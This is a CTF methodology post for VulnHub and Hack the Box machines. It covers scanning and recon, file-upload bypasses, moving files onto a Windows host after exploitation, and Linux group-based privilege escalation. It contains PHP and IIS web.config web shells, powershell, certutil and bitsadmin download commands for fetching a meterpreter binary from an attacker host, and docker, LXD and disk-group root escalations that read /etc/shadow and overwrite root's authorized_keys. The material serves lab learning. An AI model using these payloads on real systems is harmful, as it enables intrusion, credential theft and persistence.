CTF Series : Vulnerable Machines¶

This post (Work in Progress) records what we learned by doing vulnerable machines provided by VulnHub, Hack the Box and others. The steps below could be followed to find vulnerabilities, exploit these vulnerabilities and finally achieve system/ root.

Once you download a virtual machines from VulnHub you can run it by using virtualisation software such as VMware or Virtual Box.

We would like to thank g0tm1lk for maintaining Vulnhub and the moderators of HackTheBox. Also, shout-outs are in order for each and every author of Vulnerable Machines and/ or write-ups. Thank you for providing these awesome challenges to learn from and sharing your knowledge with the IT security community! Thank You!!

Generally, we go through the following stages when solving a vulnerable machine:

In this blog post, we have mentioned, what can be done in each separate stage. Furthermore, we have also provided Tips and Tricks for solving vulnerable VMs. Additionally Infrastructure PenTest Series : Part 2 - Vulnerability Analysis could be referred for exploitation of any particular services (i.e. it provides information such as “If you have identified service X (like ssh, Apache tomcat, JBoss, iscsi etc.), how they can be exploited”). Lastly there are also appendixes related to

Finding the IP address¶ Before, exploiting any machine, we need to figure out its IP address. Netdiscover¶ An active/ passive arp reconnaissance tool netdiscover [options] -i interface : The network interface to sniff and inject packets on. -r range : Scan a given range instead performing an auto scan. Example: netdiscover -i eth0/wlan0/vboxnet0/vmnet1 -r 192.168.1.0/24 Interface names of common Virtualisation Software: Virtualbox : vboxnet

Vmware : vmnet Nmap¶ Network exploration tool and security/ port scanner nmap [Scan Type] [Options] {target specification} -sP/-sn Ping Scan -disable port scan Example: nmap -sP/-sn 192.168.1.0/24

Port Scanning¶ Port scanning provides a large amount of information about open (exposed) services and possible exploits that may target these services. Common port scanning software include: nmap, unicornscan, netcat (when nmap is not available). Nmap¶ Network exploration tool and security/ port scanner nmap [Scan Type] [Options] {target specification} HOST DISCOVERY: -sL: List Scan - simply list targets to scan -sn/-sP: Ping Scan - disable port scan -Pn: Treat all hosts as online -- skip host discovery SCAN TECHNIQUES: -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans -sU: UDP Scan -sN/sF/sX: TCP Null, FIN, and Xmas scans PORT SPECIFICATION: -p : Only scan specified ports Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9 SERVICE/VERSION DETECTION: -sV: Probe open ports to determine service/version info OUTPUT: -oN/-oX/-oS/-oG : Output scan in normal, XML,Output in the three major formats at once -v: Increase verbosity level (use -vv or more for greater effect) MISC: -6: Enable IPv6 scanning -A: Enable OS detection, version detection, script scanning, and traceroute Unicornscan¶ A port scanner that utilizes its own userland TCP/IP stack, which allows it to run asynchronous scans. It can scan 65,535 ports in a relatively short time frame. As unicornscan is faster then nmap it makes sense to use it for scanning large networks or a large number of ports. The idea is to use unicornscan to scan all ports, and make a list of those ports that are open and pass them to nmap for service detection. Superkojiman has written onetwopunch for this. unicornscan [options] X.X.X.X/YY:S-E -i, --interface : interface name, like eth0 or fxp1, not normally required -m, --mode : scan mode, tcp (syn) scan is default, U for udp T for tcp \`sf' for tcp connect scan and A for arp for -mT you can also specify tcp flags following the T like -mTsFpU for example that would send tcp syn packets with (NO Syn\|FIN\|NO Push\|URG) Address ranges are in cidr notation like 1.2.3.4/8 for all of 1.?.?.?, if you omit the cidr mask /32 is implied. Port ranges are like 1-4096 with 53 only scanning one port, **a** for all 65k and p for 1-1024 example: unicornscan 192.168.1.5:1-4000 gateway:a would scan port 1 - 4000 for 192.168.1.5 and all 65K ports for the host named gateway. Netcat¶ Netcat might not be the best tool to use for port scanning, but it can be used quickly. While Netcat scans TCP ports by default it can perform UDP scans as well. TCP Scan¶ For a TCP scan, the format is: nc -vvn -z xxx.xxx.xxx.xxx startport-endport -z flag is Zero-I/O mode (used for scanning) -vv will provide verbose information about the results -n flag allows to skip the DNS lookup UDP Scan¶ For a UDP Port Scan, we need to add -u flag which makes the format: nc -vvn -u -z xxx.xxx.xxx.xxx startport-endport If we have windows machine without nmap, we can use PSnmap Amap - Application mapper¶ When portscanning a host, you will be presented with a list of open ports. In many cases, the port number tells you which application is running. Port 25 is usually SMTP, port 80 mostly HTTP. However, this is not always the case, and especially when dealing with proprietary protocols running on non-standard ports you will not be able to determine which application is running. By using amap, we can identify which services are running on a given port. For example is there a SSL server running on port 3445 or some oracle listener on port 23? Note that the application can also handle services that requires SSL. Therefore it will perform an SSL connect followed by trying to identify the SSL-enabled protocol!. e.g. One of the vulnhub VM’s was running http and https on the same port. amap -A 192.168.1.2 12380 amap v5.4 (www.thc.org/thc-amap) started at 2016-08-10 05:48:09 - APPLICATION MAPPING mode Protocol on 192.168.1.2:12380/tcp matches http Protocol on 192.168.1.2:12380/tcp matches http-apache-2 Protocol on 192.168.1.2:12380/tcp matches ntp Protocol on 192.168.1.2:12380/tcp matches ssl Unidentified ports: none. amap v5.4 finished at 2016-08-10 05:48:16

Rabbit Holes¶ There will be instances when we will not able to find anything entry point such as any open port. The section below may provide some clues on how to get unstuck. Note When in doubt, enumerate Listen to the interface¶ Many VMs send data on random ports therefore we recommend to listen to the local interface (vboxnet0 / vmnet) on which the VM is running. This can be done by using wireshark or tcpdump. For example, one of the vulnhub VMs, performs an arp scan and sends a SYN packet on port 4444, if something is listening on that port, it sends some data. tcpdump -i eth0 18:02:04.096292 IP 192.168.56.101.36327 > 192.168.56.1.4444: Flags [S], seq 861815232, win 16384, options [mss 1460,nop,nop,sackOK,nop,wscale 3,nop,nop,TS val 4127458640 ecr 0], length 0 18:02:04.096330 IP 192.168.56.1.4444 > 192.168.56.101.36327: Flags [R.], seq 0, ack 861815233, win 0, length 0 18:02:04.098584 ARP, Request who-has 192.168.56.2 tell 192.168.56.101, length 28 18:02:04.100773 ARP, Request who-has 192.168.56.3 tell 192.168.56.101, length 28 18:02:04.096292 IP 192.168.56.101.36327 > 192.168.56.1.4444: Flags [S], While listening on port 4444, we might receive something like a base64 encoded string or some message. nc -lvp 4444 listening on [any] 4444 … 192.168.56.101: inverse host lookup failed: Unknown host connect to [192.168.56.1] from (UNKNOWN) [192.168.56.101] 39519 0IHNpbGVuY2Ugc3Vycm91bmRpbmcgeW91Lg0KWW91IGxvb2sgZWFzdCwgdGhlbiBzb3V0aCwgdGhlbiB3ZXN0LCBhbGwgeW91IGNhbiBzZWUgaXMgYSBncmVhdCB3YXN0ZWxh DNS Server¶ If the targeted machine is running a DNS Server and we have a possible domain name, we may try to figure out A, MX, AAAA records or try zone-transfer to figure out other possible domain names. host <domain> <optional_name_server> host -t ns <domain> -- Name Servers host -t a <domain> -- Address host -t aaaa <domain> -- AAAA record points a domain or subdomain to an IPv6 address host -t mx <domain> -- Mail Servers host -t soa <domain> -- Start of Authority host <IP> -- Reverse Lookup host -l <Domain Name> <DNS Server> -- Domain Zone Transfer Example: host scanme.nmap.org scanme.nmap.org has address 45.33.32.156 scanme.nmap.org has IPv6 address 2600:3c01::f03c:91ff:fe18:bb2f Tip Usually, DNS runs on UDP Port. However, If DNS is running on TCP port, probably DNS Zone Transfer would be possible. SSL Certificate¶ If the targeted machine is running an https server and we are getting an apache default webpage on hitting the https://IPAddress, virtual hosts would be probably in use. Check the alt-dns-name on the ssl-certificate, create an entry in hosts file (/etc/hosts) and check what is being hosted on these domain names by surfing to https://alt-dns-name. nmap service scan result for port 443 (sample) | ssl-cert: Subject: commonName=examplecorp.com/organizationName=ExampleCorp Ltd./stateOrProvinceName=Attica/countryName=IN/localityName=Mumbai/organizationalUnitName=IT/emailAddress=admin@examplecorp.com | Subject Alternative Name: DNS:www.examplecorp.com, DNS:admin-portal.examplecorp.com

Cyber-Deception¶ Wordpot¶ Wordpot : Wordpot is a Wordpress honeypot which detects probes for plugins, themes, timthumb and other common files used to fingerprint a wordpress installation. python /opt/wp/wordpot.py --host=$lanip --port=69 --title=Welcome to XXXXXXX Blog Beta --ver=1.0 --server=XXXXXXXWordpress FakeSMTP¶ FakeSMTP : FakeSMTP is a Free Fake SMTP Server with GUI for testing emails in applications easily. java -jar /opt/fakesmtp/target/fakeSMTP-2.1-SNAPSHOT.jar -s -b -p 2525 127.0.0.1 -o /home/username Rubberglue¶ Rubberglue : We can use Rubberglue to listen on a port such that any traffic it receives on that port it will forward back to the client ( attacker ) on the same port. python2 /opt/honeyports/honeyports-0.4.py -p 23 Knockd¶ Knockd - Port-knocking server : knockd is a port-knock server. It listens to all traffic on an ethernet (or PPP) interface, looking for special “knock” sequences of port-hits. A client makes these port-hits by sending a TCP (or UDP) packet to a port on the server. This port need not be open – since knockd listens at the link-layer level, it sees all traffic even if it’s destined for a closed port. When the server detects a specific sequence of port-hits, it runs a command defined in its configuration file. This can be used to open up holes in a firewall for quick access. If there is port knocking involved, read the /etc/knockd.conf, read the sequence port knock should be done and execute for PORT in 43059 22435 17432; do nmap -PN 192.168.56.203 -p $PORT; done DCEPT¶ SecureWorks researchers have created a solution known as DCEPT (Domain Controller Enticing Password Tripwire) to detect network intrusions. Github is dcept

Appendix-II : File Upload¶ Examples¶ Note If sometimes, we are trying to upload a php file and it’s not a allowed extension, maybe try with php5 extension. The file extension tells the web server which version of PHP to use. Some web servers are set up so that PHP 4 is the default, and you have to use .php5 to tell it to use PHP 5. Simple File Upload¶ Intercepting the request in Burp/ ZAP and changing the file-extension. Below is the PHP code <? function genRandomString() { $length = 10; $characters = "0123456789abcdefghijklmnopqrstuvwxyz"; $string = ""; for ($p = 0; $p < $length; $p++) { $string .= $characters[mt_rand(0, strlen($characters)-1)]; } return $string; } function makeRandomPath($dir, $ext) { do { $path = $dir."/".genRandomString().".".$ext; } while(file_exists($path)); return $path; } function makeRandomPathFromFilename($dir, $fn) { $ext = pathinfo($fn, PATHINFO_EXTENSION); return makeRandomPath($dir, $ext); } if(array_key_exists("filename", $_POST)) { $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { echo "File is too big"; } else { if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; } else{ echo "There was an error uploading the file, please try again!"; } } } else { ?> <form enctype="multipart/form-data" action="index.php" method="POST"> <input type="hidden" name="MAX_FILE_SIZE" value="1000" /> <input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" /> Choose a JPEG to upload (max 1KB):<br/> <input name="uploadedfile" type="file" /><br /> <input type="submit" value="Upload File" /> </form> <? } ?> If we change the extension of filename tag from JPG to PHP, we may be able to execute code remotely. Create a fake JPG containing php code. We’ll be using system() to read our password. echo "<?php system($_GET["cmd"]); ?>" > shell.jpg Upload JPG, intercept in Burp/ ZAP and change the extension <input name="filename" value="o0xn5q93si.jpg" type="hidden"> is changed to <input name="filename" value="o0xn5q93si.php" type="hidden"> Simple File Upload - With verifying image type¶ In this the above PHP code remain almost the same apart from little addition that we check the filetype of the file uploaded <?php ... else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) { echo "File is not an image"; } ... ?> Since the exif_imagetype function checks the filetype of the uploaded file. It checks the first bytes of an image are against a signature. Most filetypes such as JPEG, ZIP, TAR, etc. have a “Magic Number” at the beginning of the file to help verify its file type. So to pass the exif_imagetype function check, our file must start with the magic number of a supported image format. Take a valid file (JPG or whichever file format, we are trying to bypass), take the valid hexdump of that file (Let’s say first 100 bytes) hexdump -n 100 -e '100/1 "\\x%02X" "

"' sunflower.jpg -n length : Interpret only length bytes of Input -e format_string : Specify a format string to be used for displaying data Example: hexdump -n 100 -e '100/1 "\\x%02X" "

"' sunflower.jpg \xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x01\x01\x01\x2C\x01\x2C\x00\x00\xFF\xE1\x00\x16\x45\x78\x69\x66\x00\x00\x4D\x4D\x00\x2A\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\xFF\xDB\x00\x43\x00\x05\x03\x04\x04\x04\x03\x05\x04\x04\x04\x05\x05\x05\x06\x07\x0C\x08\x07\x07\x07\x07\x0F\x0B\x0B\x09\x0C\x11\x0F\x12\x12\x11\x0F\x11\x11\x13\x16\x1C\x17\x13\x14\x1A\x15\x11\x11\x18\x21\x18\x1A\x1D\x1D\x1F Create a file with JPG header and command shell code using python >>> fh = open('shell.php','w') >>> fh.write('The Hexdump from above \xFF\xD8\xFF\xE0' + '<? passthru($_GET["cmd"]); ?>') >>> fh.close() Tip Do check the source code of the page for any client-side file validation or any commented hidden parameters? We can also upload an actual .jpeg, but alter the coments in the metadata to include the php code. Modifying File Upload Page¶ Upload forms are client-side, we can probably modify them using Inspect Element or F12. If by-chance, there’s a LFI and we have seen the code of upload function. The first thing to check would be “What are the restrictions on upload i.e. Either only jpg file extension is uploaded or is file content is also check etc.” Let’s say, there is a upload form which has a text-field for accepting input (Let’s say - suspectinfo) and the input put in this text field is stored in a file format on the server. Let’s see the current form in inspect-element. Client-Side Code <form enctype="multipart/form-data" action="?op=upload" method="POST"> <textarea style="width:400px; height:150px;" id="sinfo" name="sinfo"> </textarea><br> <input type="text" id="name" name="name" value="" style="width:355px;"> <input type="submit" name="submit" value="Send Tip!"> </form> If we see the above form, accepts two inputs text type field named sinfo for providing detailed information about the server and

text type field named name for providing name of the server. Let’s also see, serverside code if(isset($_POST['submit']) && isset($_POST['sinfo'])) { $tip = $_POST['sinfo']; $secretname = Random_Filename(); ## Generates a random file name $location = Random_Number(); ## Generate a random number file_put_contents("uploads/". $location . '/' . $secretname, $sinfo); If we see, the contents of sinfo are directly put in a file. In this case, if we change the input type of sinfo from text to file. We can upload a file! Imagine uploading a zip file or php file. <form enctype="multipart/form-data" action="?op=upload" method="POST"> # <textarea style="width:400px; height:150px;" id="sinfo" name="sinfo"> </textarea><br> ---------- We have commented this and add the below line. <input type="file" id="sinfo" name="sinfo" value="" style="width:355px;"> <input type="text" id="name" name="name" value="" style="width:355px;"> <input type="submit" name="submit" value="Send Tip!"> </form> Now, when we press submit button, probably, just make sure that the request is quite similar to the original one and we should be able to upload the file. Tip Sometimes, there might be cases when the developer has a commented a input type on the client side, however has forgotten to comment on the serverside code! Maybe, try to uncomment and see what happens! IIS - Web.config Upload¶ If we are able to upload a web.config file by a file upload functionality in IIS - Windows machine, there might be a possibility of remote code execution. A web.config file lets you customize the way site or a specific directory on site behaves. For example, if you place a web.config file in your root directory, it will affect your entire site. If you place it in a /content directory, it will only affect that directory. With a web.config file, you can control: Database connection strings.

Error behavior.

Security. Refer Upload a web.config File for Fun & Profit and RCE by uploading a web.config We can upload the below web.config <?xml version="1.0" encoding="UTF-8"?> <configuration> <system.webServer> <handlers accessPolicy="Read, Script, Write"> <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" /> </handlers> <security> <requestFiltering> <fileExtensions> <remove fileExtension=".config" /> </fileExtensions> <hiddenSegments> <remove segment="web.config" /> </hiddenSegments> </requestFiltering> </security> </system.webServer> </configuration> <% set cmd = Request.QueryString("cmd") Set os = Server.CreateObject("WSCRIPT.SHELL") output = os.exec("cmd.exe /c " + cmd).stdout.readall response.write output %> The above expects a parameter cmd which is executed using wscript.shell and can be executed like http://IP/uploads/web.config?cmd=whoami

Appendix-III Transferring Files from Linux to Windows (post-exploitation)¶ There would times, where we have a Windows Shell (Command Prompt) and need to copy over some files to the Windows OS. Most of the stuff has been completely taken from Transferring Files from Linux to Windows (post-exploitation) Here are the few methods SMB¶ We need to setup a SMB Server on the Debian/ Kali machine SMB Server - Attacker¶ We can utilize Impacket smbserver to create a SMB Server without authentication, so that anyone can access the share and download the files. /usr/share/doc/python-impacket/examples/smbserver.py Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies usage: smbserver.py [-h] [-comment COMMENT] [-debug] [-smb2support] shareName sharePath This script will launch a SMB Server and add a share specified as an argument. You need to be root in order to bind to port 445. No authentication will be enforced. Example: smbserver.py -comment 'My share' TMP /tmp positional arguments: shareName name of the share to add sharePath path of the share to add optional arguments: -h, --help show this help message and exit -comment COMMENT share's comment to display when asked for shares -debug Turn DEBUG output ON -smb2support SMB2 Support (experimental!) So, we can setup by using python smbserver.py SHELLS /root/Desktop/SHELLS Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies [*] Config file parsed [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [*] Config file parsed [*] Config file parsed [*] Config file parsed Accessing the share - Linux¶ We can use smbclient to access the share smbclient -L 10.10.10.10 --no-pass WARNING: The "syslog" option is deprecated Sharename Type Comment --------- ---- ------- IPC$ Disk SHELLS Disk Reconnecting with SMB1 for workgroup listing. Connection to localhost failed (Error NT_STATUS_NETWORK_UNREACHABLE) Failed to connect with SMB1 -- no workgroup available Accessing the share - Windows¶ We can use net view to check the shares net view \\10.10.10.10 Shared resources at \\10.10.10.10 (null) Share name Type Used as Comment ------------------------------- SHELLS Disk The command completed sucessfully Copying the Files - Windows¶ From the Windows Command Prompt dir \\10.10.14.16\SHELLS Volume in drive \\10.10.14.16\SHELLS has no label. Volume Serial Number is ABCD-EFAA Directory of \\10.10.14.16\SHELLS 04/10/2018 11:47 AM <DIR> . 04/08/2018 06:25 PM <DIR> .. 04/10/2018 11:47 AM 73,802 ps.exe 1 File(s) 101,696 bytes 2 Dir(s) 15,207,469,056 bytes free We can directly copy the file C:\Users\bitvijays\Desktop> copy \\10.10.14.16\SHELLS\ps.exe . 1 file(s) copied. or directly execute it without copying \\10.10.14.16\SHELLS\ps.exe ps.exe can be your meterpreter exe HTTP¶ Setting up the Server¶ We can use python-SimpleHTTPServer to set up a HTTP Web Server python -m SimpleHTTPServer Accessing the Server - Windows¶ Windows Command Prompt We can use powershell to download a file from a command prompt powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.10.10:8000/ps.exe','C:\Users\bitvijays\Desktop\ps.exe')" CertUtil CertUtil command can be abused to download a file from internet. certutil.exe -urlcache -split -f "https://download.sysinternals.com/files/PSTools.zip" pstools.zip Bitsadmin bitsadmin /transfer myDownloadJob /download /priority normal http://10.10.10.10:8000/ps.exe c:\Users\bitvijays\Desktop\ps.exe FTP¶ We can utilize FTP to download/ upload files from a ftp server. FTP Client is usually installed on Windows by default. Note While downloading files from ftp, remember to switch to binary mode, otherwise the file could be corrupted. Setting up the Server¶ We can either use Python-pyftpdlib or Metasploit to create a FTP Server Python-pyftpdlib Install using apt apt-get install python-pyftpdlib Now from the directory we want to serve, just run the Python module. It runs on port 2121 by default (can be changed using -p parameter) and accepts anonymous authentication. To listen on the standard port: /home/bitvijays/SHELLS$ python -m pyftpdlib -p 21 Usage: python -m pyftpdlib [options] Start a stand alone anonymous FTP server. Options: -h, --help : show this help message and exit -i ADDRESS, --interface=ADDRESS : specify the interface to run on (default all interfaces) -p PORT, --port=PORT : specify port number to run on (default 2121) -w, --write : grants write access for logged in user (default read-only) -d FOLDER, --directory=FOLDER : specify the directory to share (default current directory) -n ADDRESS, --nat-address=ADDRESS : the NAT address to use for passive connections -r FROM-TO, --range=FROM-TO : the range of TCP ports to use for passive connections (e.g. -r 8000-9000) -D, --debug : enable DEBUG logging evel -v, --version : print pyftpdlib version and exit -V, --verbose : activate a more verbose logging -u USERNAME, --username=USERNAME : specify username to login with (anonymous login will be disabled and password required if supplied) -P PASSWORD, --password=PASSWORD : specify a password to login with (username required to be useful) Metasploit Name: FTP File Server Module: auxiliary/server/ftp License: Metasploit Framework License (BSD) Rank: Normal Provided by: hdm <x@hdm.io> Available actions: Name Description ---- ----------- Service Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- FTPPASS no Configure a specific password that should be allowed access FTPROOT /tmp/ftproot yes The FTP root directory to serve files from FTPUSER no Configure a specific username that should be allowed access PASVPORT 0 no The local PASV data port to listen on (0 is random) SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 21 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) Description: This module provides a FTP service Access using FTP¶ ftp 10.10.10.10 Connected to 10.10.10.10. 220 FTP Server Ready Name (localhost:root): anonymous 331 User name okay, need password... Password: 230 Login OK Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls total 160 drwxr-xr-x 2 0 0 512 Jan 1 2000 .. drwxr-xr-x 2 0 0 512 Jan 1 2000 . -rw-r--r-- 1 0 0 166 Jan 1 2000 secret.zip 226 Transfer complete. ftp> get secret.zip local: secret.zip remote: secret.zip 200 PORT command successful. 150 Opening BINARY mode data connection for secret.zip 226 Transfer complete. 166 bytes received in 0.00 secs (138.4367 kB/s) ftp> FTP can also accepts a series of commands stored in a text file Contents of a text file open 10.10.10.10 anonymous anonymous binary get ps.exe bye Passing parameter to ftp ftp -s:filename-containing-commands The file can be created by using echo echo "open 10.10.10.10" >> commands.txt echo "anonymous" >> commands.txt TFTP¶ We can also utilize TFTP to download or upload files Setting up the Server¶ Metasploit module use auxiliary/server/tftp msf auxiliary(server/tftp) > info Name: TFTP File Server Module: auxiliary/server/tftp License: Metasploit Framework License (BSD) Rank: Normal Provided by: jduck <jduck@metasploit.com> todb <todb@metasploit.com> Available actions: Name Description ---- ----------- Service Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- OUTPUTPATH /tmp yes The directory in which uploaded files will be written. SRVHOST 0.0.0.0 yes The local host to listen on. SRVPORT 69 yes The local port to listen on. TFTPROOT /tmp yes The TFTP root directory to serve files from Description: This module provides a TFTP service msf auxiliary(server/tftp) > run [*] Auxiliary module running as background job 0. [*] Starting TFTP server on 0.0.0.0:69... [*] Files will be served from /tmp [*] Uploaded files will be saved in /tmp Accessing the Share¶ Downloading a file tftp -i 10.10.10.10 GET ps.exe Uploading a file tftp -i 10.10.10.10 PUT Passwords.txt Installing tftp - Windows¶ pkgmgr /iu:"TFTP"

Appendix-IV Linux Group Membership Issues¶ Let’s examine in what groups we are members. Recommended read about groups: Users and Groups and System Groups Docker Group¶ Any user who is part of the docker group should also be considered root. Read Using the docker command to root the host Older version of docker were vulnerable to Docker breakout. More details at Shocker / Docker Breakout PoC If you are the docker user and want to get root. Create a Dockerfile¶ mkdir docker-test cd docker-test cat > Dockerfile FROM debian:wheezy ENV WORKDIR /stuff RUN mkdir -p $WORKDIR VOLUME [ $WORKDIR ] WORKDIR $WORKDIR Build the Docker¶ docker build -t my-docker-image . Note If there are already docker images present on the host machine, we can utilize those also instead of making a new one. If there are none, we can copy a image to the vulnerable machine. Copy docker images from one host to another without via repository? Save the docker image as a tar file: docker save -o <path for generated tar file> <image name> Then copy the image to a new system with regular file transfer tools such as cp or scp. After that, load the image into docker: docker load -i <path to image tar file> Become root?¶ Copy binaries from the container into the host and give them suid permissions: docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c 'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh' ./sh whoami # root If the sh is not working, create a suid.c, compile it, suid it and run. Mount system directories into docker and ask docker to read (and write) restricted files that should be out of your user’s clearance: docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat shadow' # root:!:16364:0:99999:7::: # daemon:*:16176:0:99999:7::: # bin:*:16176:0:99999:7::: # ... Bind the host’s / and overwrite system commands with rogue programs: docker run -v /:/stuff -t my-docker-image /bin/sh -c 'cp /stuff/rogue-program /stuff/bin/cat' Privileged copy of bash for later access? docker run -v /:/stuff -t my-docker-image /bin/sh -c 'cp /stuff/bin/bash /stuff/bin/root-shell-ftw && chmod a+s /stuff/bin/root-shell-ftw' root-shell-ftw -p root-shell-ftw-4.3# Video¶ If the user is a part of the video group, he possibly might have access to the frame buffer (/dev/fb0) (which provides an abstraction for the video hardware), video capture devices, 2D/3D hardware acceleration. More details can be found at Linux Framebuffer and Kernel Framebuffer If, we have access to the framebuffer device /dev/fb0. We can use a tool like fb2png to convert it to a png picture or we can cat it and get a file: cat /dev/fb0 > screenshot.raw ls -l screenshot.raw -rw-rw-r-- 1 user user 4163040 May 18 03:52 screenshot.raw To find the screen resolution, we can read virtual size cat /sys/class/graphics/fb0/virtual_size 1176,885 We can then open the screenshot as a raw file (Select File Type: Raw Image Data) in Gimp, enter the width and height as well of the color arrangement, RGB, RGBA etc. Disk¶ Debian’s wiki says about the “disk” group: Raw access to disks. Mostly equivalent to root access. The group disk can be very dangerous, since hard drives in /dev/sd* and /dev/hd* can be read and written bypassing any file system and any partition, allowing a normal user to disclose, alter and destroy both the partitions and the data of such drives without root privileges. Users should never belong to this group. We can use debugfs command to read everything and dd command to write anywhere. Read /root/.ssh/authorized_keys using debugfs: user@hostname:/tmp$ debugfs -w /dev/sda1 -R "cat /root/.ssh/authorized_keys" debugfs 1.42.13 (17-May-2015) ssh-rsa AAAAB3NzaC1yc2EAAAADAQA Let’s find the block where the “/root/.ssh/authorized_keys” file resides: user@hostname:/tmp$ debugfs /dev/sda1 -R "blocks /root/.ssh/authorized_keys" debugfs 1.42.13 (17-May-2015) 1608806 Let’s use dd to write our own public key inside /root/.ssh/authorized_keys. This command will write over (i.e. it will replace) the old data: user@hostname:/tmp$ dd if=/tmp/id_rsa.pub of=/dev/sda1 seek=1608806 bs=4096 count=1 0+1 records in 0+1 records out 394 bytes copied, 0.00239741 s, 164 kB/s It’s important to sync afterwards: user@hostname:/tmp$ sync Read again to check if the file was overwritten user@hostname:/tmp$ debugfs -w /dev/sda1 -R "cat /root/.ssh/authorized_keys" debugfs 1.42.13 (17-May-2015) ssh-rsa AAAAB3NzaC1yc2EAAAADAQA More usage details about can be found at debugfs Command Examples Set file system¶ > debugfs /dev/hda6 debugfs 1.19, 13-Jul-2000 for EXT2 FS 0.5b, 95/08/09 List files¶ debugfs: ls 2790777 (12) . 32641 (12) .. 2790778 (12) dir1 2790781 (16) file1 2790782 (4044) file2 List the files with a long listing¶ Format is: Field 1: Inode number.

Field 2: First one or two digits is the type of node: 2 = Character device

4 = Directory

6 = Block device

10 = Regular file

12 = Symbolic link

The Last four digits are the Linux permissions Field 3: Owner uid

Field 4: Group gid

Field 5: Size in bytes.

Field 6: Date

Field 7: Time of last creation.

Field 8: Filename. debugfs: ls -l 2790777 40700 2605 2601 4096 5-Nov-2001 15:30 . 32641 40755 2605 2601 4096 5-Nov-2001 14:25 .. 2790778 40700 2605 2601 4096 5-Nov-2001 12:43 dir1 2790781 100600 2605 2601 14 5-Nov-2001 15:29 file1 2790782 100600 2605 2601 14 5-Nov-2001 15:30 file2 Dump the contents of file1¶ debugfs: cat file1 This is file1 Dump an inode to a file¶ Same as cat, but to a file and using inode number instead of the file name. debugfs: dump <2790782> file1-debugfs The above will copy the file to your file-system, useful when the flag is not in a text file and is in the jpg file or somethingelse. LXD¶ The below has been taken from LXD-Escape LXD is Ubuntu’s container manager utilising linux containers. It could be considered to act in the same sphere as docker. The lxd group should be considered harmful in the same way the docker group is. Under no circumstances should a user in a local container be given access to the lxd group. Exploiting¶ ubuntu@ubuntu:~$ lxc init ubuntu:16.04 test -c security.privileged=true Creating test ubuntu@ubuntu:~$ lxc config device add test whatever disk source=/ path=/mnt/root recursive=true Device whatever added to test ubuntu@ubuntu:~$ lxc start test ubuntu@ubuntu:~$ lxc exec test bash Here we have created an lxc container, assigned it security privileges and mounted the full disk under /mnt/root ubuntu@ubuntu:~$ lxc exec test bash root@test:~# cd /mnt/root root@test:/mnt/root# ls bin cdrom etc initrd.img lib64 media opt root sbin srv tmp var boot dev home lib lost+found mnt proc run snap sys usr vmlinuz root@test:/mnt/root# cd root root@test:/mnt/root/root# ls root@test:/mnt/root/root# touch ICanDoWhatever root@test:/mnt/root/root# exit exit At this point, we can write a ssh public key to the root/.ssh folder and use that to access the machine.